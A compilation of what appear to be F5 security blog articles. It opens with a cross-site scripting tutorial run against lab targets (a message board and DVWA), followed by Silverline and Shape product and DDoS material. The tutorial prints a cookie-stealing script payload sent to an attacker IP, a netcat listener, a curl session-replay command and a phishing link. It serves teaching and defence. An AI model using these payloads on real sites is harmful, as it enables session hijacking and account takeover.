Cross Site Scripting (XSS) Exploit Paths
Introduction Web application threats continue to cause serious security issues for large corporations and small businesses alike. In 2016, even the smallest, local family businesses have a Web presence, and it is important to understand the potential attack surface in any web-facing asset, in order to properly understand vulnerabilities, exploitability, and thus risk. The Open Web Application Security Project (OWASP) is a non-profit organization dedicated to ensuring the safety and security of web application software, and periodically releases a Top 10 list of common categories of web application security flaws. The current list is available at https://www.owasp.org/index.php/Top_10_2013-Top_10 (an updated list for 2016/2017 is currently in data call announcement), and is used by application developers, security professionals, software vendors and IT managers as a reference point for understanding the nature of web application security vulnerabilities. This article presents a detailed analysis of the OWASP security flaw A3: Cross-Site Scripting (XSS), including descriptions of the three broad types of XSS and possibilities for exploitation. Cross Site Scripting (XSS) Cross-Site Scripting (XSS) attacks are a type of web application injection attack in which malicious script is delivered to a client browser using the vulnerable web app as an intermediary. The general effect is that the client browser is tricked into performing actions not intended by the web application. The classic example of an XSS attack is to force the victim browser to throw an ‘XSS!’ or ‘Alert!’ popup, but actual exploitation can result in the theft of cookies or confidential data, download of malware, etc. Persistent XSS Persistent (or Stored) XSS refers to a condition where the malicious script can be stored persistently on the vulnerable system, such as in the form of a message board post. Any victim browsing the page containing the XSS script is an exploit target. This is a very serious vulnerability as a public stored XSS vulnerability could result in many thousands of cookies stolen, drive-by malware downloads, etc. As a proof-of-concept for cookie theft on a simple message board application, consider the following: Here is our freshly-installed message board application. Users can post comments, admins can access the admin panel. Let’s use the typical POC exercise to validate that the message board is vulnerable to XSS: Sure enough, it is: Just throwing a dialog box is kinda boring, so let’s do something more interesting. I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page: Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPserver is another nice option). dsyme@kylie:~$ sudo nc -nvlp 81 And wait for someone – hopefully the site admin – to browse the page. The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script: And I have my stolen cookie PHPSESSID=lrft6d834uqtflqtqh5l56a5m4 . Now I can use an intercepting proxy or cookie manager to impersonate admin. Using Burp: Or, using Cookie Manager for Firefox: Now I’m logged into the admin page: Access to a web application CMS is pretty close to pwn. From here I can persist my access by creating additional admin accounts (noisy), or upload a shell (web/php reverse) to get shell access to the victim server. Bear in mind that using such techniques we could easily host malware on our webserver, and every victim visiting the page with stored XSS would get a drive-by download. Non-Persistent XSS Non-persistent (or reflected) XSS refers to a slightly different condition in which the malicious content (script) is immediately returned by a web application, be it through an error message, search result, or some other means that echoes some part of the request back to the client. Due to their nonpersistent nature, the malicious code is not stored on the vulnerable webserver, and hence it is generally necessary to trick a victim into opening a malicious link in order to exploit a reflected XSS vulnerability. We’ll use our good friend DVWA (Damn Vulnerable Web App) for this example. First, we’ll validate that it is indeed vulnerable to a reflected XSS attack: It is. Note that this can be POC’d by using the web form, or directly inserting code into the ‘name’ parameter in the URL. Let’s make sure we can capture a cookie using the similar manner as before. Start a netcat listener on 192.168.178.136:81 (and yes, we could use a full-featured webserver for this to harvest many cookies), and inject the following into the ‘name’ parameter: <SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT> We have a cookie, PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2 . Let’s see if we can use it to login from the command line without using a browser: $ curl -b "security=low;PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2" --location "http://192.168.178.140/dvwa/" > login.html $ dsyme@kylie:~$ egrep Username login.html <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> low<br /><em>PHPIDS:</em> disabled</div> Indeed we can. Now, of course, we just stole our own cookie here. In a real attack we’d be wanting to steal the cookie of the actual site admin, and to do that, we’d need to trick him or her into clicking the following link: http://192.168.178.140/dvwa/vulnerabilities/xss_r/?name=victim<SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT> Or, easily enough to put into an HTML message like this. And now we need to get our victim to click the link. A spear phishing attack might be a good way. And again, we start our listener and wait. Of course, instead of stealing admin’s cookies, we could host malware on a webserver somewhere, and distribute the malicious URL by phishing campaign, host on a compromised website, distribute through Adware (there are many possibilities), and wait for drive-by downloads. The malicious links are often obfuscated using a URL-shortening service. DOM-Based XSS DOM-based XSS is an XSS attack in which the malicious payload is executed as a result of modification of the Document Object Model (DOM) environment of the victim browser. A key differentiator between DOM-based and traditional XSS attacks is that in DOM-based attacks the malicious code is not sent in the HTTP response from server to client. In some cases, suspicious activity may be detected in HTTP requests, but in many cases no malicious content is ever sent to or from the webserver. Usually, a DOM-based XSS vulnerability is introduced by poor input validation on a client-side script. A very nice demo of DOM-based XSS is presented at https://xss-doc.appspot.com/demo/3. Here, the URL Fragment (the portion of the URL after #, which is never sent to the server) serve as input to a client-side script – in this instance, telling the browser which tab to display: Unfortunately, the URL fragment data is passed to the client-side script in an unsafe fashion. Viewing the source of the above webpage, line 8 shows the following function definition: And line 33: In this case we can pass a string to the URL fragment that we know will cause the function to error, e.g. “foo”, and set an error condition. Reproducing the example from the above URL with full credit to the author, it is possible to inject code into the error condition causing an alert dialog: Which could be modified in a similar fashion to steal cookies etc. And of course we could deface the site by injecting an image of our choosing from an external source: There are other possible vectors for DOM-based XSS attacks, such as: Unsanitized URL or POST body parameters that are passed to the server but do not modify the HTTP response, but are stored in the DOM to be used as input to the client-side script. An example is given at https://www.owasp.org/index.php/DOM_Based_XSS Interception of the HTTP response to include additional malicious scripts (or modify existing scripts) for the client browser to execute. This could be done with a Man-in-the-Browser attack (malicious browser extensions), malware, or response-side interception using a web proxy. Like reflected XSS, exploitation is often accomplished by fooling a user into clicking a malicious link. DOM-based XSS is typically a client-side attack. The only circumstances under which server-side web-based defences (such as mod_security, IDS/IPS or WAF) are able to prevent DOM-based XSS is if the malicious script is sent from client to server, which is not usually the case for DOM-based XSS. As many more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS vulnerabilities are on the increase – an estimated 10% of the Alexa top 10k domains contained DOM-based XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf). Preventing XSS XSS vulnerabilities exist due to a lack of input validation, whether on the client or server side. Secure coding practices, regular code review, and white-box penetration testing are the best ways to prevent XSS in a web application, by tackling the problem at source. OWASP has a detailed list of rules for XSS prevention documented at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. There are many other resources online on the topic. However, for many (most?) businesses, it may not be possible to conduct code reviews or commit development effort to fixing vulnerabilities identified in penetration tests. In most cases, XSS can be easily prevented by the deployment of Web Application Firewalls. Typical mechanisms for XSS-prevention with a WAF are: Alerting on known XSS attack signatures Prevention of input of <script> tags to the application unless specifically allowed (rare) Prevention of input of < ,> characters in web forms Multiple URL decoding to prevent bypass attempts using encoding Enforcement of value types in HTTP parameters Blocking non-alphanumeric characters where they are not permitted Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For example, while an IPS may block the <script> tag (if it is correctly configured to intercept SSL), it may not be able to handle the URL decoding required to catch obfuscated attacks. F5 Silverline is a cloud-based WAF solution and provides native and quick protection against XSS attacks. This can be an excellent solution for deployed production applications that include XSS vulnerabilities, because modifying the application code to remove the vulnerability can be time-consuming and resource-intensive. Full details of blocked attacks (true positives) can be viewed in the Silverline portal, enabling application and network administrators to extract key data in order to profile attackers: Similarly, time-based histograms can be displayed providing details of blocked XSS campaigns over time. Here, we can see that a serious XSS attack was prevented by Silverline WAF on September 1 st : F5 Application Security Manager (ASM) can provide a similar level of protection in an on-premise capacity. It is of course highly recommended that any preventive controls be tested – which typically means running an automated vulnerability scan (good) or manual penetration test (better) against the application once the control is in place. As noted in the previous section, do not expect web-based defences such as a WAF to protect against DOM-based XSS as most attack vectors do no actually send any malicious traffic to the server.
How to Setup Shape Log Analysis in Fastly
Update 8/3: Shape Log Analysis is now a supported log streaming endpoint on Fastly. Read the full details here. Shape Log Analysis is a non-invasive technique used to analyze HTTP and application logs for a clearer view into attackers that are bypassing current security measures. Oftentimes bad actors, botnets, and drive by attacks will consume system resources and commit fraud against APIs in the form of Credential Stuffing, Scraping, Account Takeover and more. Without the proper defenses in place, these attacks are a pain to stop for most security teams who are forced to play “whack-a-mole" with solutions that are not built to permanently defeat fraudulent and automated attacks. Shape Security has a unique corpus of data from attacks that have been identified and blocked over the years for the world's largest banks, airlines, hotels and many other types of infrastructure exposed to the public internet. This anonymized attack data is used to examine application logs revealing automation and fraud that is bypassing perimeter security mechanisms and making its way to your origin servers. Through analyzing data points in Layer 7 traffic, Shape will create a threat assessment on old and new campaigns that are currently attacking specific parts of your applications. Log Analysis Example - Figure 1 The visualization shown in Figure 1 represents all malicious and fraudulent traffic against a specific application. The green pattern hidden in the back is the normal diurnal flow of legitimate user traffic. All other colors are automated attacks driving abuse of APIs and important parts of the application. This type of reporting can be used to not only understand types of attacks and abuse but can also be used to create a plan for integrating a mitigation solution. Types of attacks that will be uncovered: Credential Stuffing Account Takeover Scraping API Abuse System Resource Consumption Getting Started Shape Log Analysis is a free service that is now integrated with Fastly CDN. To avoid complications of compressing, securing and manually sending log data to Shape, we now have the ability to securely send logs to Shape through Fastly's real time log streaming configuration. This is a simple “flip of the switch” configuration, doesn't involve sending any PII data to Shape, and gives organizations the visibility required to take action and prevent these types of attacks. To configure Fastly CDN for Shape Log Analysis, follow these steps: 1)Request a secure S3 Bucket from Shape (send an email to fastly@f5.com with title "Fastly Log Streaming Setup") Once Shape has setup your designated S3 bucket, you will receive an email with a private access key that will be required to complete the configuration in the next step.Keep in mind that Shape uses network and security access controls between Fastly and AWS to ensure data is kept private and confidential. If there are any concerns around how log data is kept safe and secure, please ask in the setup request email. 2) Follow Fastly’s well written instructions on creating a new log endpoint and copy in the Shape specific configuration from below. Log format for Shape Log Analysis (Non-PII data) { "timestamp": "%{begin:%Y-%m-%dT%H:%M:%S%z}t", "ts": "%{time.start.sec}V", "id.orig_h": "%h", "status_code": "%>s", "method": "%m", "host": "%{Host}i", "uri": "%U%q", "accept_encoding": "%{Accept-Encoding}i", "request_body_len": "%{req.body_bytes_read}V", "response_body_len": "%{resp.body_bytes_written}V", "location": "%{Location}i", "x_forwarded_for": "%{X-Forwarded-For}i", "user_agent": "%{User-Agent}i", "referer": "%{Referer}i", "accept": "%{Accept}i", "accept_language": "%{Accept-Language}i", "content_type": "%{Content-Type}o", "geo_city": "%{client.geo.city}V", "geo_country_code": "%{client.geo.country_code}V", "is_tls": %{if(req.is_ssl, "true", "false")}V, "tls_version": "%{tls.client.protocol}V", "tls_cipher_request": "%{tls.client.cipher}V", "tls_cipher_req_hash": "%{tls.client.ciphers_sha}V", "tls_extension_identifiers_hash": "%{tls.client.tlsexts_sha}V" } S3 Bucket Details When you receive the S3 Bucket confirmation from the fastly@f5.com email address, it will contain the following 5 items that you'll need to insert into your Fastly configuration. 1.) Bucket Name 2.) Access Key 3.) Secret Key 4.) Path 5.) Domain Click on "Advanced options" and add the following: After completing the setup, your configuration summary for Shape Log Analysis will look like the following: Once the Fastly logging configuration is complete, logs will be sent to Shape's secure S3 bucket for analysis. Typically we collect around two weeks worth of log data to provide a comprehensive analysis of attack traffic. Additionally, an F5 or Shape representative will be available to provide support during the logging setup and a Threat Assessment Report will be provided as part of the service. Additional Information on Shape and Fastly
Introducing App Proxies for F5 Silverline
Introduction When F5 Silverline was first introduced to the market back in 2014, the service was heavily focused on DDoS Mitigation through our globally dispersed Scrubbing centers. Traffic handling and customer configuration was very network focused and IP based. However with well documentation limitations of available IPv4 address spaces, combined with the need for greater agility of our Layer 7 Application services a new Proxy configuration construct was needed to help scale the F5 Silverline cloud service to a new Regional POP (point of presence) based architecture. Historically all Application level configuration through the Silverline service was provisioned through our Classic Proxy methodology, however this functionality had a variety of limitations, so is slowly being deprecated within the Portal. These Classic Proxies, have now been replaced by two separate Proxy configuration objects. Any customers using the Silverline Portal today will see the following two Proxy types, the DDoS Proxy, and the Application Proxy. The DDoS Proxies, support TCP, UDP and DNS based configuration elements, focused on cleaning and controlling traffic flow to a customer’s infrastructure. Details of what can and can’t be configured through these constructs will be discussed in a future article, but for now we will focus on the Application Proxies, or “App Proxy” for short. What is on App Proxy? An App Proxy is the friendly name we use for the logical configuration construct within the Silverline customer portal. Each Application or website a customer wishes to protect will typically have it’s own App Proxy configured via the portal, for the relevant configuration objects to be automatically deployed across the globe within the Silverline cloud service. An App Proxy allows for a single configuration construct that includes objects for the Incoming expected URL’s for traffic to ingress in to the Silverline service, as well as the Back End configuration objects for your Application Origin Servers. The Construct also of course includes or the Security profiles that you wish to be applied by the Silverline service to protect and secure your application traffic from threats and attacks, before forwarding the good and clean traffic on to your App. F5 Silverline Web Application Firewall service does act as a Full Proxy configuration, so the returning traffic from your App to the client will also traverse the Silverline cloud, and the response will also be inspected and checked for security purposes. Why should you use them? For all new customers subscribing to F5 Silverline today, will see the App Proxy construct as the most logical way to provision Application services to their protected Apps, but for existing customers currently configured with Classic Proxies may need guidance for why to migrate to the new Proxy type, so lets run through some of the reasons to opt for an App Proxy. Firstly in order to leverage the new Regional POP’s (rPOP) for your Application Security, then the App Proxy construct is the only way to gain access to them. I’ll go into a little bit more detail as to why this is in the next section, but primarily this is to do with the way CNAMEs are issues to the App Proxy, in order to Globally Load Balance traffic to your Application from users based all across the globe. The next reason to use them, is because they are very easy to use, and act as a single logical construct for all your Application security needs. Within the App Proxy, you can apply a variety of security policies, such as, a Web Application Firewall (or WAF) policy, a Layer 7 DDoS Profile, a Shape powered Anti-Bot profile, a Threat Intelligence Profile, and the additional benefits of F5 iRule’s for increased security and functionality. The App Proxy construct also facilitates a single place to configured all your TLS & SSL needs for handling both Client-side and Server-side SSL certificates and ciphers. In June 2020, we also introduced a new Service to the Silverline portfolio, with the introduction of F5 Silverline Shape Defense, this innovative new Service is designed to protect your web applications from automated bot attacks to prevent large-scale fraud, inflated operational costs, and friction for your end users. The configuration of Silverline Shape Defense, is only supported through the new App Proxy construct, and provides a collective defense strategy to detect and block automate bot traffic. A great example of how effective the combination of the Silverline Service is to defend against automated attacks such as Credential Stuffing, can be found on our YouTube Real Attack Stories playlist HERE How do they work? If you're still not convinced by the advantages you can gain from our App Proxies, then maybe we should look at their configuration and functionality in a bit more detail. First let’s look at some of the configuration options in the App Proxy: Shown here is an example of the configuration for the Front End and Back End section of a new App Proxy in the Silverline Portal. There are several items that need to be defined by the customer, including the display name for the App Proxy, which would typically be something logical and relating to the purpose of the App we are protecting. The more important field in the Blue section, is the Fully Qualified Domain Name, which needs to be correct for the URL of the Application we are going to receive traffic for. During the provisioning of the App Proxy, the Silverline Portal will automatically assign a CNAME in the f5silverline.com domain space, which will be used to redirect traffic to the Silverline service. (more on this shortly) There are a couple of additional fields, for adding some descriptive notes, and also the ability for you to define custom Tags, as part of the Silverline Role Based Access Control (RBAC) configuration, which allow for granular access control to configuration objects and data analytics by user. The Back End Section allows you to define either an IP Address, or a DNS name for the Back-end or Origin Server of your Application. You can then select which of the Silverline Points of Presence you wish to deploy the configuration of the App Proxy too. You can choose to select them all, or just the ones in which you wish the Silverline Service to be able to Decrypt any HTTPS related traffic, which could help address any compliance or performance needs. Now this is where things start to get interesting! As well as the flexibility to select which POP’s you wish to deploy your App Proxy too, you also have the ability to configure Multiple different Back-ends. Which means, that if you have your Application hosted in multiple different locations, you can configure each one individually as needed, and then select only the Silverline POP’s from the same regions as your own Datacenters, or Public Cloud hosted Apps. We of course being F5 will handle all the Load Balancing and Global Server Load balancing as needed to ensure data is ingressed in to Silverline at the closet point to the users, and exits Silverline at the closest point , and with the optimum route to you back-end origin servers, regardless of how simple or complex the configuration becomes. After setting up the Front and Back end configuration, you can then move to the HTTP or HTTPS Service tab to start to define your security policies and profiles. If you have the Silverline Add-on service for Threat Intelligence, you can create a policy to block different threatening sources based on dynamic IP reputation categories: Most customers opt to block all the known bad IP address categories, but the flexibility is there for you to granularly control. You can specify the Ports: And the iRules you wish to apply to the App Proxy: If your leveraging the F5 Silverline Web Application Firewall service, this would also be the section where you can apply your WAF policies and any L7 DDoS configuration as well, but as both of these elements can be quite complex, I will be dedicating a future article to each of these topics individually. I’ll also be writing another article specifically relating to the F5 Silverline Shape Defense service, and the configuration options you would have in the Portal. Which would also be configured under the App Proxy construct, and even has it’s own full page of options. There are some other configurable options in the Advanced tab, which vary based on the objects and settings you configure in the App Proxy. Which we don’t have time to cover today. The one thing I did want to go in to more detail about however, is how traffic actually gets directed to your App Proxy, and the relevance of the CNAME I referenced earlier. Handling GSLB to App Proxies As a critical element to the Regional POP expansion and the App Proxy construct, we need to look in to a bit of detail about how DNS is used to direct traffic to the Silverline Service, in what we refer to as “Proxy Mode”. The Service can also use “Routed mode” the leverage BGP route advertisement to redirect all of your traffic through Silverline, but this is typically reserved for tour F5 Silverline DDoS Protection customers. In Proxy Mode, we need to leverage DNS in order to get traffic destined for your Websites and Applications, to be redirected first to the F5 Silverline Cloud for processing. So when you provision a new App Proxy in the Portal, you will be allocated a CNAME record that we specific bind to your App Proxy. In your own DNS system, you will then need to modify the DNS response for your relevant Application from its original IP, to the CNAME of the Silverline App Proxy. While you’re doing this, you can also set the TTL to a longer time period such as an Hour or more. The Silverline Service will automatically provision you a new GSLB record in our GSLB solution. We will set the TTL of this record to 30 seconds, to help with our dynamic autoscaling and orchestrated App Proxy deployment methodology. Depending on the number of POP’s you selected for the App Proxy, we will add the different dynamic IP addresses of the different Regional POP’s to the GSLB system. For each rPOP,your App Proxy GSLB record will be populated with 3 separate IP Addresses, to span different availability zones. As requests come in for different users in different regions’ around the globe, we will then issue the relevant IP address closest to the clients LDNS. Our primary Scrubbing centers, will typically leverage an IP Anycast address, which also gets added to the GSLB pool. It’s a difficult thing to put in to a single image, but here is an example of the GSLB style system for our App Proxies: This GSLB solution for App Proxies, provide a lot of benefits and flexibility for Global availability and the capability for us to dynamically scale the Silverline cloud platform as need demands. Are there any recently introduced App Proxy features? Also, in recent times, we have also just added support for “Multi-FQDN” support within a single App Proxy. This means, that as long as your Back-end Origin Servers can serve the content to each of the FQDN’s or URL’s of your application, then you can provision them all as a single App Proxy to save administrative overhead, and to simplify security and policy tuning. Each individual FQDN, can be define in the App Proxy Front end screen, and assigned the relevant Client-side SSL Profile. As shown in the example image below: As you then move through the Security Tabs of the App Proxy configuration page in the portal, you will be able to define which L7 DDoS Profile and WAF policy to assign to each or all of the define FQDN’s. Each defined FQDN, can then be handled by the same Silverline allocated CNAME DNS record, and handled by our GSLB solution. What are the benefits of F5 Silverline App Proxies? Hopefully you can now see what many of the benefits are for leveraging the new App Proxy construct within the F5 Silverline Portal for deploying you Layer 7 Security Services. They really are easy to use, and provide a single logical structure for all your Application Security needs. They have a great amount of flexibility and functionality to meet the changing needs of your applications. The use of CNAME records for traffic redirection through the Silverline Proxy mode, helps with dynamic scale and Global availability of your Apps. What does the future hold for App Proxies? For anyone familiar with F5 Silverline, you will know we operate a two week release cycle of Portal & Platform enhancements. All new Application delivery and Application Security features, will be built around the App Proxy construct. So if you want your Apps to benefit from the innovative new features in the roadmap for Silverline, now is the time to start to leverage the F5 Silverline App Proxy!
F5 Silverline DDoS Protection FAQ
What is F5 Silverline DDoS Protection? F5 Silverline DDoS Protection is a service delivered via the Silverline cloud-based platform that provides detection and mitigation to stop even the largest of volumetric DDoS attacks from reaching your network. In addition, F5 security experts are available 24/7 to keep your business online during a DDoS attack with comprehensive, multi-layered L3-L7 protection. Q: How can Silverline DDoS Protection help when my site is under attack? Within minutes the Silverline DDoS Protection service can be configured to protect a customer’s network. The attack will be stopped and the clean traffic from legitimate users will be passed on to the customer’s site. Q: How does Silverline DDoS Protection stop the attack? F5’s fully redundant and globally distributed data centers and scrubbing centers are built with advanced systems and tools engineered to deal with the increasing threats, escalating scale, and complexity of DDoS attacks. Silverline DDoS Protection offers multi-layered L3–L7 protection with fully automated cloud-scrubbing technologies to detect, identify, and mitigate threats in real time, returning clean traffic back to your site. It can run continuously to monitor all traffic and stop attacks from ever reaching your network, or it can be initiated on demand when your site is under DDoS attack. Q: How much capacity does Silverline DDoS Protection have to stop attacks? F5 maintains five (5) high-capacity scrubbing centers with a combined total of 1.8Tbps of bandwidth dedicated to fighting DDoS attacks. F5's scrubbing centers are located in: Ashburn, Virginia, USA San Jose, California, USA London, United Kindom Frankfurt, Germany Singapore, Singapore Q: How can a customer leverage the Silverline DDoS Protection service? A customer can leverage the Silverline DDoS Protection service via the following configurations: Proxy Mode: Silverline DDoS Protection will provide a new set of IP addresses and a customer can simply change their DNS record(s) to point to those new addresses. After the DNS change, the attack traffic will flow through the Silverline DDoS Protection scrubbing facility and the clean traffic will be passed back to the customer’s site. Routed Mode: A customer can authorize Silverline DDoS Protectionto advertise a route to their existing IP addresses / subnets. Using BGP (Border Gateway Protocol), Silverline DDoS Protectionwill inform the global Internet’s routers that the customer’s site is now accessible via its network. The good and bad traffic directed at the customer will be directed to Silverline DDoS Protectionfirst where it will be filtered and the legitimate traffic will be returned to the customer’s servers via a configured tunnel. Q: Can a customer utilizeSilverline DDoS Protection all the time? Or just during attacks? The Silverline DDoS Protection service offers two separate methods of consumption depending on a customer’s specific needs: Always On™ - Primary protection as the first line of defense. This method continuously stops bad traffic from ever reaching a customer's network. Always Available™ - Primary protection available on demand. This method runs on standby and can be initiated when a customer is under attack. Q: How long does it take forSilverline DDoS Protectionto stop an attack? The Silverline DDoS Protection service can begin mitigating an attack within minutes depending on the integration method selected by the customer. A Silverline DDoS Protection engineer will work with the customer to determine the best integration method and coach them through configuration as needed. Q: What are the steps in stopping an attack? A customer under attack should contact a Silverline DDoS Protectionrepresentative now: Dial 866-329-4253 or +1 (206) 272-7969. Exchange electronic signatures. Speak with an experienced and trusted engineer at Silverline DDoS Protectionwho will assist the customer in choosing the best way to leverage the Silverline DDoS Protection’s service. Configure the way Silverline DDoS Protectionwill deliver the clean traffic back to a customer’s servers. Follow theSilverline DDoS ProtectionDDoS engineer’s instructions to leverage attack mitigation. Start receiving clean traffic. Monitor the attack and Silverline DDoS Protection’s mitigation activities through your own AttackView Portal. Q: What visibility does a customer have as Silverline DDoS Protection stops the attack? When a customer is enrolled in the service, they will receive access to the Silverline DDoS Protection AttackView portal. Within the portal, a customer may view the characteristics of all the traffic that is being directed at their site, the mitigation techniques used to stop the attacks, and the resulting clean traffic volumes. The AttackView portal includes visibility over time to monitor how DDoS attack patterns change in response to the Silverline DDoS Protection mitigations as well as detailed event, mitigation actions, traffic capture samples and consolidated reporting. Q: CanSilverline DDoS Protectionfind out who the attackers are? One of the challenges of DDoS attacks is that the perpetrators usually hide behind botnets of compromised home machines or a batch of compromised commercial servers and all a customer can see are the addresses of the machines sending the DDoS traffic. Nonetheless, if the attackers make a mistake and do expose themselves, Silverline DDoS Protection is able to detect those mistakes and assist in tracking down the attackers. Q: How much does Silverline DDoS Protection cost? Pricing varies based on the amount of clean traffic that a customer typically uses.Contact your local F5 Sales Representative or Call866-329-4253 or +1 (206) 272-7969to discuss your needs and to get pricing that fits. Support for Amazon AWS Q: Can Silverline DDoS Protection be used with Amazon AWS? Yes, the Silverline DDoS Protection service can be configured via "proxy mode" to protect customer applications that are hosted within AWS. The configuration would be similar to a solution where the customer's application were hosted in their own data center. Q: How can Silverline DDoS Protection stop the attack on my AWS service if Amazon can’t stop it? Amazon AWS does have a very large network and uses some basic techniques to resist DDoS attacks. However, AWS has a lot of services to provide to 1000’s of its customers. They don’t specialize in stopping sophisticated DDoS attacks, and if one of their clients gets hit by an attacker they need to focus on protecting thousands of other customers from being collaterally damaged by the effects of the attack. They can’t focus their resources on stopping the attack on just one customer. Silverline DDoS Protection is entirely focused on stopping the DDoS attack and protecting customers. Other DDoS Questions Q: How long do DDoS attacks last? That depends on the attacker and the reasons for the attack. Attacks can range from a few minutes to a few weeks though the longer attacks usually come in waves. As a general rule attacks which don’t succeed in keeping the target shut down tend to stop quicker because attackers are looking to make an impact or to make news and they tend to quit when their efforts are not succeeding. They’ll look for a new, less protected target. Q: When the DDoS attack began some traffic was still getting through to a customer’s website and then suddenly EVERYTHING WENT DEAD, not just the website, but all of the other Internet services are down, too. What happened? Most likely the customer's Internet Service Provider shut down their connection. If an IP address or a set of addresses draws more traffic than the customer is subscribed to, that traffic flows through the customer's ISP, even though it can’t be delivered to the customer’s site. From the ISP’s perspective, that attack on their customer becomes an attack on their network and interferes with their ability to serve other clients. So, they defend their network by blocking traffic coming to the customer's IP addresses at the edge of their network. If a customer's other services use that same IP Address (or same firewall address) range then those services will lose internet access until the attack goes away and the ISP stops blocking traffic. Q: CanSilverline DDoS Protectionhelp if an ISP has blocked a customer’s addresses? Yes, Silverline DDoS Protectionworks with ISPs all the time to assist in mitigating attacks. ISPs prefer when a customer gets Silverline DDoS Protectionconfigured because they know that it’s larger mitigation network will stop bad traffic coming across the ISP’s network on its way to the customer. Once the DDoS mitigation is in place, ISPs will unblock the customer's addresses because they know they will not be burdened with DDoS attack traffic.Real Attack Stories: Bank Gets DDoS Attacked
Our F5 Silverline Security Operations Center (SOC) keeps customers safe every day. One of our customers (a financial institution) got attacked with a Distributed Denial of Service attack, and our Silverline SOC saved the day. This attack was highly distributed and each attacking host sent very few attack requests against the financial institution. But, because there were so many attacking hosts, the net effect against the financial institution was that their website was going down. Check out the video to learn more about this attack and how we stopped it. Related Resources: F5 Security Operations Center F5 Silverline ServicesSilverline DDoS Architecture
I wrote on Wednesday about the why and what of F5 Silverline. Today we're going to dive a little deeper into the how of the DDoS service offering. Before we get into the scrubbing architecture itself, let’s take a look at the delivery options for getting traffic to and from the scrubbing centers! Proxy Configuration In the proxy configuration, there is no change to your infrastructure required save for the DNS changes that need to be done once the Silverline DDoS service is configured and ready to receive traffic. Let’s start with the diagram. Walking through the diagram, DNS A records are updated from the local VIPs to the Silverline proxies, and traffic begins flowing through the scrubbing datacenter and then to the customer over the public internet with source NAT-ing from Silverline, resulting in customer server egress traffic flowing through Silverline as well. With this deployment, it is highly recommended to apply ACLs matching Silverline source addresses to prevent direct IP-based attacks that will ignore the DNS instructions to flow through Silverline. One of the benefits of using the proxy scenario is that you can use it with an single IP service, including cloud services like Azure or AWS. Routed Configuration BGP routing was my bread and butter for years. I worked for several different backbone ISPs earlier in my career and I had THE text on BGP from Bassam Halabi(yes, this dates me..) pretty well memorized. This solution leans heavily on BGP to move the advertisement from the customer premises to Silverline so that even an IP-based attack would arrive at the front door of the scrubbing center. In this scenario, the route is advertised from the scrubbing centers so traffic will come to the nearest one. Once the scrubbing has occurred, the traffic leaves the scrubbing center with the original source IP and transits a GRE tunnel to the customer premises, is handed off to the server, and then egress traffic returns to the original client source over the public internet with no need to be passed through the scrubbing center on the return trip. This can save on latency, but does require that customers control (read-can advertise) a /24 network as ISPs typically will not pass smaller blocks across peering points. Not too challenging for most enterprises, but usually a show-stopper for cloud services. The Combo Meal: Routed + Proxy Configuration This final scenario is a combination of the routed and proxy configurations. The DNS changes push the front door to Silverline, and the route advertisement is moved from the customer premises to the back end of Silverline, eliminating the need to manage ISP ACLs to avoid direct IP attacks locally. Note that the traffic is sent across the GRE tunnel to the customer datacenter server infrastructure like the routed configuration, but returned not to the original client but the back end of the Silverline datacenter and then passed back to the original clients like the proxy configuration. Aye, There’s the (Sc)rub I know, terrible Shakespeare reference. But stay with me, we’re getting to the good part! I’ll let this diagram do most of the talking: There is quite a bit of intelligence in the inspection plane. At each stage of the scrubbing, various tools and monitors are reporting and acting on traffic at layers 3 through 7 on a variety of protocols. Notice the vertical paths from inspection to data plane, informing and acting at each layer, and the malicious traffic flows starting to drop off at each mitigation zone before finally reaching the back end of the scrubbing center where the policies/rules get clean traffic where it needs to go. And there it is, the architecture for the exciting and powerful Silverline DDoS service. The best part? It’s not just a mindless service acting in isolation, there is a most excellent SOC staff of talented F5ers watching over your applications, working directly with you to mitigate the attacks and defend your applications. If you haven’t checked out Silverline DDoS for your applications, schedule a demo today!Real Attack Stories: The "MOP Sink" Attack
The F5 Silverline Security Operations Center (SOC) has recently seen a multi-IP protocol DDoS attack where the attackers use packets with lots of different protocols in the IP header. IP packets typically have TCP or UDP protocols, but there are up to 253 others. This attack has been named the Multiple Originating Protocols (MOP) Sink attack because it uses all the available protocols validated by IANA in the IP header. The attack is very new, but it is increasing in popularity. Watch the video to learn more! Related Resources IANA List of Protocol Numbers in IP HeadersReal Attack Stories: DDoS Against Email Provider
The F5 Security Operations Center (SOC) helps customers with network attacks all the time. From time to time we want to share some of the details of the attacks to let everyone know what's going on in the network attack world. In this particular case, an email service provider was attacked with a DDoS attack that used many different attack types (amplification, flood, etc). F5 Silverline services were used to mitigate the attack, and the email provider's customers never had their services go down. At its peak, the attackers were sending 26.5 Gbps at the email provider. When F5 stepped in and successfully blocked the attack, the attackers then turned their attack on F5! But, to no avail. Just as we were able to block the attack for the email provider, our SOC blocked the attack aimed at us. Check out the video below to learn more about this attack. Enjoy! Related Resources: F5 Security Operations Center F5 Silverline Services PSH-ACK AttackSilverline WAF Architecture
